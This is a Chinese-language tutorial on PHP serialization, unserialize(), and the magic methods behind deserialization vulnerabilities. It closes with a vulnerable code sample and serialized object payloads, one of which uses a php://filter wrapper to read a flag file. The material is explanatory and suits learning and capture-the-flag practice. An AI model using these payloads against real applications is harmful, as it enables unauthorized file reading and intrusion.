头图:
摘要:PHP允许保存一个对象方便以后重用,这个过程被称为序列化

序列化

serialize():用于序列化数组或对象,并返回一个字符串。把一个对象变成可以传输的字符串。

  • 数组序列化

    1. <?php
    2. $arr = array('a', 'bb', 'ccc');
    3. $serialized_arr = serialize($arr);
    4. echo $serialized_arr;
    5. ?>

    输出如下:

  • O表示存储的是Object对象,a表示array数组,s表示string字符型,i表示int数字型

  • 3代表有3个变量
  • 花括号内:i:0表示index为0,s表示string字符型,1表示变量名的字符长度,a表示变量名

    1. a:3:{i:0;s:1:"a";i:1;s:2:"bb";i:2;s:3:"ccc";}
    2. # 格式化
    3. a:3:{
    4. i:0;s:1:"a";
    5. i:1;s:2:"bb";
    6. i:2;s:3:"ccc";
    7. }
  • 对象序列化

    1. <?php
    2. class name1 {
    3. var $test1;
    4. var $test2;
    5. }
    6. $test3 = new name1;
    7. $test3->test1 = 'hi';
    8. $test3->test2 = 'fun';
    9. echo serialize($test3);
    10. ?>

    输出如下

    1. O:5:"name1":2:{s:5:"test1";s:2:"hi";s:5:"test2";s:3:"fun";}
    2. # 格式化
    3. O:5:"name1":2:{
    4. s:5:"test1";
    5. s:2:"hi";
    6. s:5:"test2";
    7. s:3:"fun";
    8. }

    反序列化

    unserialize()

  • 数组反序列化

    1. <?php
    2. $arr = array('a', 'bb', 'ccc');
    3. $serialized_arr = serialize($arr);
    4. $unserialized_arr = unserialize($serialized_arr);
    5. print_r($unserialized_arr);
    6. ?>

    输出

    1. Array
    2. (
    3. [0] => a
    4. [1] => bb
    5. [2] => ccc
    6. )
  • 对象反序列化

    1. <?php
    2. class temp {
    3. var $test1;
    4. var $test2;
    5. }
    6. $test3 = new temp;
    7. $test3->test1 = 'hi';
    8. $test3->test2 = 'fun';
    9. $serialized_obj = serialize($test3);
    10. $unserialized_obj = unserialize($serialized_obj);
    11. print_r($unserialized_obj);
    12. ?>

    输出

    1. name1 Object
    2. (
    3. [test1] => hi
    4. [test2] => fun
    5. )

    危险魔法函数

  • 构造函数__construct():当new创建对象时会自动调用。但在unserialize()时不会自动调用

  • 析构函数__destruct():当对象被销毁时会自动调用
  • __wakeup() :当调用unserialize()函数时会自动调用
  • __sleep():当调用serialize()函数时自动调用

    漏洞原理

  • 正常调用反序列化

    1. <?php
    2. class temp{
    3. var $test = '123';
    4. }
    5. $obj = 'O:4:"temp":1:{s:4:"test";s:3:"123";}';
    6. print_r($obj);
    7. echo "</br>";
    8. $un_obj = unserialize($obj);
    9. print_r($un_obj);
    10. echo "</br>";
    11. ?>

    输出: ```php O:4:”temp”:1:{s:4:”test”;s:3:”123”;}

temp Object( [test] => 123 )

  1. - 而假如在类中重写了危险的魔法函数,则可能存在漏洞
  2. ```php
  3. <?php
  4. class temp{
  5. var $test = '123';
  6. function __wakeup(){
  7. echo "【Wakeup】";
  8. echo "</br>";
  9. }
  10. function __construct(){
  11. echo "【construct】";
  12. echo "</br>";
  13. }
  14. function __destruct(){
  15. echo "【destruct】";
  16. echo "</br>";
  17. }
  18. }
  19. $obj = 'O:4:"temp":1:{s:4:"test";s:3:"123";}';
  20. print_r($obj);
  21. echo "</br>";
  22. $un_obj = unserialize($obj);
  23. print_r($un_obj);
  24. echo "</br>";
  25. ?>

输出:为了方便观察,这里将输出格式化了一下,分成4个部分

  • 先输出print_r($obj)部分
  • 然后下面反序列化$obj并赋值给$un_obj时,因为调用了反序列化函数unserialize(),因此也调用了__wakeup()函数
  • 输出print_r($un_obj)的内容
  • 最后类销毁时调用了__destruct()函数 ```php O:4:”temp”:1:{s:4:”test”;s:3:”123”;}

【Wakeup】

temp Object( [test] => 123 )

【destruct】

  1. <a name="BdaTr"></a>
  2. ## 漏洞利用
  3. 举个别人的例子:
  4. ```php
  5. <?php
  6. class A{
  7. var $test = "demo";
  8. function __destruct(){
  9. echo $this->test;
  10. }
  11. }
  12. $a = $_GET['test'];
  13. $a_unser = unserialize($a);
  14. ?>
  • 假如构造payload:[http://www.xxx.com/?test=O:1:"A":1:{s:4:"test";s:5:"hello";}](http://www.xxx.com/?test=O:1:%22A%22:1:%7Bs:4:%22test%22;s:5:%22hello%22;%7D),就能控制echo输出的变量
    1. O:1:"A":1:{s:4:"test";s:5:"hello";}
    2. O:11:"FileHandler":1:{s:2:"op";s:1:"2";}
    3. O:11:"FileHandler":2:{s:7:"content";s:8:"flag.php";s:2:"op";s:1:"2";}
    4. O:11:"FileHandler":3:{s:8:"filename";s:12:"/tmp/tmpfile";s:7:"content";s:8:"flag.php";s:2:"op";s:1:"2";}
    5. O:11:"FileHandler":3:{s:8:"filename";s:12:"/tmp/tmpfile";s:7:"content";s:12:"Hello World!";s:2:"op";s:1:"2";}
    6. O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:5:"Hello";}